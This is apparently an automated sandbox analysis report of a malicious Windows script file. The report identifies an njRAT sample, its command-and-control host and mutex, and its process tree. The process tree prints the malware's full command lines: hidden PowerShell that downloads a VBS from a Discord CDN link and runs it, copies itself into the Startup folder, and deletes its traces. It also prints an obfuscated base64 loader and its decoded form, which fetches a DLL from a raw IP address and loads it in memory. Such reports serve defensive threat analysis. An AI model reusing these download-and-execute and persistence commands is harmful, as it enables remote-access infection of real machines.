Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/09/2022, 19:00

General

  • Target

    e4fbe2c0de215885d004f354f1e57357.wsf

  • Size

    53KB

  • MD5

    e4fbe2c0de215885d004f354f1e57357

  • SHA1

    258f167a93a3f51fee1e05f6d401661b5ea63bd3

  • SHA256

    ce6cdc61e1758c5abd949a017475171aea3dbd9571d45300990badd6006759c4

  • SHA512

    a3c1c60d641226aef13be04eda4c3e30e8a0b658e5bae65b4b3a7beba692dd57e63e5d451169d10e2f535414855be26767657ca6e08164e9f609e7f74f749023

  • SSDEEP

    192:L48w8Nlb0bqGW6CCCuqpS848w8Nlb0bqGW6CCCuqpd48w8Nlb0bqGW6CCCuqpJ:dwSb0cJqiwSb0cJzwSb0cJR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://5.42.199.120/dll/lannodll.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

wins2109ok.duckdns.org:8000

Mutex

cfe0aa9d35c

Attributes
  • reg_key

    cfe0aa9d35c

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e4fbe2c0de215885d004f354f1e57357.wsf"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1022146310729650249/1022278336447262750/Crpted55.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('حتمذمیص.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\حتمذمیص.wsf');Start-Sleep 1;rm *.vbs,*.wsf
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3068
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
        3⤵
          PID:4920
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2084
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\nLeNPdi.vbs"
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAE4AWQBnAE8AeABSAF凸凸凸A凸凸凸AAlACcAOwBbAEIAeQB0AG凸凸凸AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG凸凸凸AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA凸凸凸wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG凸凸凸AdAAuAFcAZQBiAEMAbABpAG凸凸凸AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA凸凸凸wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8ANQAuADQAMgAuADEAOQA5AC4AMQAyADAALwBkAGwAbAAvAGwAYQBuAG4AbwBkAGwAbAAuAHQAeAB0ACcAKQApADsAWwBzAHkAcwB0AG凸凸凸AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH凸凸凸ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG凸凸凸AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgAwADAAMAA4AGsAbwA5ADAAMQAyAC8AOAA0ADgAMwA0ADkAMwAzADcAMAA2ADgAOAAyADkAMQAyADAAMQAvADEANwA1ADMANQAwADcAMgA4AD凸凸凸ANgA2ADcAMgA5ADEAMgAwADEALwBzAHQAbgBlAG0AaABjAGEAdAB0AGEALwBtAG8AYwAuAHAAcABhAGQAcgBvAGMAcwBpAGQALgBuAGQAYwAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAC0GKgZFBjAGRQbMBj凸凸凸GJwAgACkAKQA=';$OWjuxDt = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('凸凸凸','U') ) );$OWjuxDt = $OWjuxDt.replace('%NYgOxRUP%', 'C:\Windows\Temp\nLeNPdi.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxDt
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2776
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Windows\Temp\nLeNPdi.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://5.42.199.120/dll/lannodll.txt'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.0008ko9012/8483493370688291201/1753507285667291201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'حتمذمیص' ))"
            4⤵
            • Blocklisted process makes network request
            • Drops startup file
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1564
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2356

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            f41839a3fe2888c8b3050197bc9a0a05

            SHA1

            0798941aaf7a53a11ea9ed589752890aee069729

            SHA256

            224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

            SHA512

            2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            235a8eb126d835efb2e253459ab8b089

            SHA1

            293fbf68e6726a5a230c3a42624c01899e35a89f

            SHA256

            5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

            SHA512

            a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            4aaea8e990963328115bd59dee2bcda8

            SHA1

            2d7eed0a0a898811d6a149a4545ab3732477c01a

            SHA256

            d9409a92c971fffde4ef29a4777990224d362ae8d847b583a7bd01b5d80394cc

            SHA512

            de1b4cd2633996f20d8967a55c654c902f94080ba4d002c8d7fd473d077b5c26d4b3c8064a3c69a9485074560f25764225f42aadde352633f96326ee521fbd50

          • C:\Windows\Temp\nLeNPdi.vbs

            Filesize

            153KB

            MD5

            a0fa641e1fe743aa44d0b42c25243143

            SHA1

            5db55be1cbe8e19f55671e18ca2741e9a5d61c48

            SHA256

            3e2e52d83f938c4bbe67d9369bb29866153ecc846aa7e9761e73dbfaa8a26041

            SHA512

            e3f103df2bdc9590e738141159da75d63b9e61e60c85df689986157339641761c2269dd29fdbdea8838eaeec8c2569320682501a2df019f08222c8489110de4d

          • memory/1564-141-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp

            Filesize

            10.8MB

          • memory/1564-144-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp

            Filesize

            10.8MB

          • memory/2356-142-0x0000000000400000-0x000000000040C000-memory.dmp

            Filesize

            48KB

          • memory/2356-150-0x00000000051F0000-0x000000000528C000-memory.dmp

            Filesize

            624KB

          • memory/2356-154-0x00000000054D0000-0x0000000005536000-memory.dmp

            Filesize

            408KB

          • memory/2356-153-0x0000000005390000-0x000000000539A000-memory.dmp

            Filesize

            40KB

          • memory/2356-152-0x0000000005430000-0x00000000054C2000-memory.dmp

            Filesize

            584KB

          • memory/2356-151-0x0000000005840000-0x0000000005DE4000-memory.dmp

            Filesize

            5.6MB

          • memory/2776-147-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp

            Filesize

            10.8MB

          • memory/2776-140-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp

            Filesize

            10.8MB

          • memory/3068-133-0x000001F4F70B0000-0x000001F4F70D2000-memory.dmp

            Filesize

            136KB

          • memory/3068-149-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp

            Filesize

            10.8MB

          • memory/3068-134-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp

            Filesize

            10.8MB